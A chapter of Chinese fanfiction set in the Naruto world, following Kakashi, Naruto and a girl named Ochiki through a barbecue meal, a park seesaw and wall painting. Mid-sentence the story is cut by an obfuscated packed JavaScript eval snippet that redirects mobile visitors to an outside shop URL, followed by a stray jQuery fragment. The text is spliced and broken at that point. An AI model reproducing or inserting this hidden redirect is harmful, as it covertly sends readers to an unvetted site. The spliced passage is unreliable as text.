烤肉Q里。
恰逢午餐时间点,虽然没有晚上人那么多,但客流量也不少了。肉类的香气和焦糊的味道夹杂,工具碰撞声和环境背景音伴随着有些吵闹的对话,让人胃口都提了起来。
鸣人刚走进烤肉店的时候,隐隐有不少视线投来,但也不像从前那样明目张胆。
直到他身后白发的影子出现。
“哒。”
落木才一脚刚踏入屋内,窸窸窣窣的声音和各式目光顿时消失了个干净,所有人都专注于自己的烤肉试图把它们盯出花来。
拳头砸上来人是会痛的,巴掌扇到脸上就知道闭嘴了。
店内的卡座上。
鸣人紧贴落木坐着,翘起来的金色头发似乎也因为低落的心情而垂下。
昔日师长的孩子现在沦落到这种境况,不亲自站在他身边的话,是怎样都无法体会本人的心情的。
卡卡西的心像是从树上枯落的苹果,孤零零没入了泥泞的土壤里。
“看嘛卡西,大家都这样子哦。尽会欺负人。”
落木一边翻看着菜单,手上还时不时抚摸着鸣人的头。
如果有心情值显示的话,就能看到鸣人头顶不停冒出粉色爱心的数值了。
“落木酱,好痒的说。”
虽然这么说着,但他完全没有要拦住落木动作的意思,反而雀跃得眼睛都眯了起来,再也看不到之前那幅消沉的模样。
鸣人现在已经太过依赖着落木了。
这样的关系,不知道到底是好是坏啊……
——在那之前。
服务生站在桌子旁边,在落木对着菜单连点器一样的指示下疯狂在记录板上写写划划。
卡卡西眼睛都要瞪直了,他伸手、试图开口阻止自己的钱钱飞走:“等等——”
但在此之前,落木已经先一步站起来、真挚地双手握住了他的:“卡西,我第一次遇见你这样的大人。刚开始见到你,我就觉得你有一种特殊的吸引力、和别人不一样的忧郁……”
就算知道这个小鬼头的心机,卡卡西听了之后也忍不住美了起来:“哈哈哈……哪有你说的这样——不好!”
代表着一大堆沉甸甸银两的菜单已经和服务生离开了,这意味着他的钱钱已经鲤跃龙门飞升上天了!
卡卡西的背景都灰暗了。
没关系,落木的天还亮着。
落木在,那鸣人的天也还亮着。
等卡卡西回魂,俩小孩已经叽叽喳喳地在烤着肉了。
“我还是第一次吃烤肉的说!”鸣人指着那片腹部中刀还留着血的牛肉问,“落木酱,你看这个熟了吗!”
“没有的说。红太郎才刚放进去五秒呢。”
怎么在给烤肉起名字了!
卡卡西感觉自己像上了年纪的老头子,心里面嘴碎得很。
“啊!我知道了,棕太郎可以吃了!”他立刻夹起一块棕黑的五花肉放进落木的盘子,“落木酱你先!”
鸣人的烤肉技术似乎可以用“生的生的生的焦了”来形容。
“这不是棕太郎这是炭治郎,冬天可以用来烧火哦。”落木淡定地把焦炭夹进了卡卡西的盘子,“卡西你戴着面罩肯定是怕冷吧,这个很暖和的。”
若无其事地把不能吃的东西扔给他了啊!
“哈、哈……那还真是谢谢了。”卡卡西眯眼笑,又把煤铲了回去,“我是大人了,不怕冷。这种好东西还是留给孩子们吧。”
“卡卡西大哥人真好!”真正纯粹的小孩子鸣人星星眼,让卡卡西的良心备受冲击。
不论哪个方面都输给这两个小家伙了。
在鸣人只能烤出焦炭、落木压根不烤的情况下,干活的到底是谁不言而喻。
*
……
“好厉害啊卡西!恰到好处的味道!”
“嗷嗷嗷好吃!”
“遇到卡西是天的恩赐,鸣人,快感恩。”
“这就太夸张了……”虽然卡卡西从小到大收到的称赞不少,但落木这种浮夸又直白的话、实在是让人听了痒痒的,又舒爽又不好意思。
鸣人当然照做:“感恩落——啊啊啊不对!感恩卡卡西大哥!”
下意识地就要说出自己最熟悉的名字了。
“果咩捏,卡西,我们吃得很多吧。”落木又开始卖可怜了,她手边是堆成半人高的碟子,一旁的鸣人也不枉多让,“之前都完全没有吃过这种东西……让卡西花了很多钱吧。我们会还的!”
“嗯!”落木是不是真心的无人得知,但鸣人确是非常认真,“卡卡西大哥,我以后绝对会当一个优秀的忍者!到时候请你吃很多很多的烤肉!”
怎么说也是个成熟大人的卡卡西自然不会真的和小孩子计较。
“不要小看成年人的能力啊。”他的钱包流着泪给孩子们撑起一片天,“大人们这么努力,就是为了能在这个时候让饿了的孩子填饱肚子。”
“卡西——!来生——不、今生我想要成为卡西的家人!”
“呜啊?!”鸣人霎时泪奔。他未来也不谈了,肉也不吃了,直接死死抱住落木,“落木酱——不要抛弃我的说!”
“当然不会抛弃鸣人!我们三人一起!”
快打住!
再说下去,今天他就要多出两个没有任何血缘关系的孩子了!
一开始他明明只是被抓壮丁处理渔民举报的啊!
***
烤肉Q店门外。
落木和鸣人吃得饱饱、挺着俩石墩子目送钱包和精神都被双重压榨的卡卡西离开。
“卡卡西大哥真是好人啊!”
“等着吧,鸣人。”落木又戴上了找事专用墨镜,“跟了落木大帝,你的周围好人将会越来越多。”
鸣人抬头,那双又大又蓝的眼睛闪着一圈光,他看了她好一会儿,最后黏糊糊地抱了上去:“落木酱永远是最好的!”
“哈!哈!哈!毋庸置疑!”
“嗯!世界第一好!!!”
*
——落木是世界上最好的人!
目前只有鸣人一个人这么认为。
现在他心中世界第一好的落木,要做别人心中世界第一差劲的人了。
公园内,还在玩着跷跷板的两个小屁孩已经察觉到了危机的出现。
没有自带音响和BGM,但毛骨悚然的气息像针一样扎入了他们的后背。
“噫——!”
其中比较敏感的一个突然浑身发毛、猛地回头,发现目前最热村内传说“白发魔女”堂堂登场。
他直接二话不说跳下跷跷板,以宇宙第一羊腿猪腿没有狗腿因为他就是狗腿的气势双手迎接落木:“大姐头下午好!请用!”
孤零零坐在另一头的小男孩顿时破音呐喊:“铃太郎你这个叛徒!她不是比我们还小一岁吗叫什么大姐头啊!”
落木无言,一步步靠近。
鸣人咻咻咻地小碎步跟上。
“干什么啊!你到底想干什么!”孤立无援只有跷跷板上的扶手和自己一伙的孩子带着哭腔,“我已经再也没说过那个家伙了!”
落木这才开口:“你脸上的伤几天就好了,我们鸣人的伤可是能伴随一生啊!这一生,你拿什么来偿还!”听了这话,鸣人又感动地咬不存在的小手绢了。
语毕,她两腿急速开迈炮弹冲击飞快缩短两人之间的距离,在小孩A的哭喊尖叫中高高跳起、然后猛地坠落到另一端跷跷板上。
“Biu——”
一坨小孩像是个纸团子一样被弹飞了。
狗腿铃太郎也二话不说火速退场。
又是美丽的一天,落木清场的速度还是一如既往的快。
“看好了鸣人,我教你一个人也能玩跷跷板的绝招。”落木非常没素质地站在了跷跷板的一端。
“一个人?!分身术吗?”鸣人开动了机智的小脑瓜。
“喔!鸣人,真是聪明啊!”落木惊叹,“说老实话我也没想到!你的智慧在我之上啊!”
鸣人害羞地挠头:“唉嘿嘿嘿没有啦。落木酱才是!”
两个和智慧最没有关系的人正在互相禅让智者称号。
“总而言之,就像这样。”
落木把墨镜推到了头顶,以非常专注的姿态半蹲下身。
然后火速向右跳到了另一端的跷跷板!
接着她看了一眼鸣人,又像螃蟹一样向左跳回左侧的跷跷板上!
如此往复,甚至还带着鼓励的眼神看着鸣人。
鸣人:“…………”
这不就只是在左右横跳而已吗!
这种事情不用跷跷板也可以做啊!
鸣人正竭尽全力抿着嘴ˋ?ˊ。
该笑吗。
可以笑吗……
怎么办好想笑但是落木酱生气了怎么办………………
他攥起拳头,憋着气——
落木大骇:“你这家伙在哭什么啊!”
“我、我没有哭的说!”
“你想玩就说啊!我会让给你的不要哭了!”
虽然这都根本不是在玩而是属于健身的范畴了。
……
结果两人还是老老实实坐上去玩了。
不对——
落木沉沉地坐在底下,看着那头高高翘起脚不沾地的鸣人。
“呜。”她默默流泪???。
落木只是一个脆弱的想玩跷跷板的孩子啊!
“啊啊啊啊不要哭落木酱我知道怎么做了!”
*
最后落木还是快乐地玩上了双人跷跷板。
——鸣人疯狂在跷跷板上蹦迪加力的情况下。
***
吃得饱饱的在外面溜达了一圈,两人回家的时间还算早,下午暖暖的阳光晒到身上温度恰好,也不会晃眼。
鸣人和落木双双排排躺在摇椅上晃荡,闲散的气质有一种不是5岁而是50岁已退
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940316|206869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
休的悠哉。
啊,好幸福……
鸣人眯上眼睛,放空自己。
过去几年晦暗的回忆好像只是做了一个噩梦。
在落木身边,鸣人觉得放空成了一件很轻松的事,不会再是压抑的氛围和难过的闪回。
摇晃的木椅发出“吱呀”的声音,风吹过田地的植物沙沙响,还有时不时发出动静的鸟,各式各样的美妙的白噪音混合在一起。
鸣人的摇椅忽然停下。
他从椅子上起身,哧哼哧哼地把它搬得离落木更近一点。
落木睁开一只眼。
在对方纵容的视线中,他看了看两人椅子的距离,又库库推着、把距离缩得更小。
要离她再近一点……
再近一点!
“这样都摇不起来了。”
落木的摇椅被卡住了,奶奶被迫停止了老年活动。
“没关系嘛!”鸣人嘻嘻,重新坐了上去,“我想离落木酱更近一点的说。”
“哎呀——拿你没办法啦。”落木也嘻嘻。
“没办法啦——”鸣人学着落木的调调,拖长了音,无意义地重复着。就像狗狗会学习主人的动作,人也会无意识地模仿喜欢的人。
鸣人和落木又双双排排躺在摇椅上,不晃荡。
温馨的狐狸和……猩猩和谐相处。
“哦对了,鸣人你之前不是在搞……嗯……街头涂鸦艺术吗?”落木的高情商持续上线,虽然她觉得自己的画技更胜一筹,但并没有打击鸣人的水平,“现在怎么不继续了?”
“呃?!”鸣人一激灵,脸上开始冒出尴尬的红晕,“那个是……嗯……现在不喜欢了!”
他现在不用通过这种方式获取自己曾经以为“需要”的关注。
呃……也、根本没空去了。
“哎呀,我还想着可以教教你呢。”好为人师这个词用在落木身上的话,她自己觉得是百分百的褒义词!
“是吗?!”听了这话,鸣人顿时又恢复了原样、像是对着熟悉的人袒露肚皮的动物,“如果落木酱想看的话,我也可以继续画的说。”
落木噌地起身:“来!现在就可以画!就画我们家外面吧!”
“嗳——?!”
***
落木和鸣人站在自家外墙边,一左一右,那神情和背影、都是一副大师级别的作派。
落木一手拿着调色盘,一手狂放地挥毫,嘴里还叼着几根刷子,不知道有啥用但是叼点东西显得更加专业!
而街头艺术家鸣人反倒下笔相当小心翼翼,和在村子里拎着油漆桶半天就能画一百家的气势完全不同。
大绘画企业家落木看着墙上蓝色的优雅猩猩和“Lockincoffe”招牌满意地点头。
啊不行!这样看上去房价都要跌停了。
落木赶紧又把涂鸦刷新,再次画上自己头顶王冠的绿色图标和“Starlocks”招牌,顿时一股有钱小资的气质从房子里散发出来。
好,可以。
她这才彻底停笔,转头去看鸣人的巨作。
对方只抠抠搜搜画了一个太阳、还有在太阳下开心笑着的黄色小人。
简单的笔触,幼稚的图画。和鸣人在村内的风格完全不一样,透露出纯然的天真,仿佛能通过墙面的金色、晒到和小人一样的温暖。
“怎、怎样!”虽然有些难为情,但做什么事都会被落木肯定的鸣人、还是挺起胸膛询问落木的看法。
“鸣人大师,此乃无价之宝!”落木肃穆地竖起大拇指,“但是,还差了点什么。”
她开始神神叨叨地左右徘徊。
鸣人立马进入情境:“落木大师!请问差点什么的说?”
落木停下脚步,怒指自己:“我!”
“为什么鸣人身边没有落木大帝!”
鸣人原本装作紧张的表情瞬间又变了,呲着牙大笑:“落木酱在这里!”
他指向那个在黄色小人头顶、亮到可怕的太阳。
“噢噢——”落木突发恶疾,展开双臂低沉道,“我!就是太阳!”
“不行,我要给你改改。”
她想到了什么金点子,立马恢复正常,开始在无价之宝上涂涂改改。
鸣人凑了过去,两个毛茸茸的脑袋靠在一起。
落木把自己健壮的身躯安在了太阳下面。
“阿诺……落木酱,好奇怪嗳。”鸣人一般不反驳落木,但这实在是太怪了,像是一个挂在天上的变态金色光头。
落木看了他一眼。
鸣人立即双手捂嘴。
仔细思考之后,落木把画上金色小人的脑袋也改了一通,变成了向日葵。
这样就差不多的变态了!
“好,可以了!”落木非常满意,摸摸身边鸣人的头顶。
“就这样看着我吧,鸣人,我会一直发光下去,你也绝对不会枯萎。”
太阳对向日葵这么说。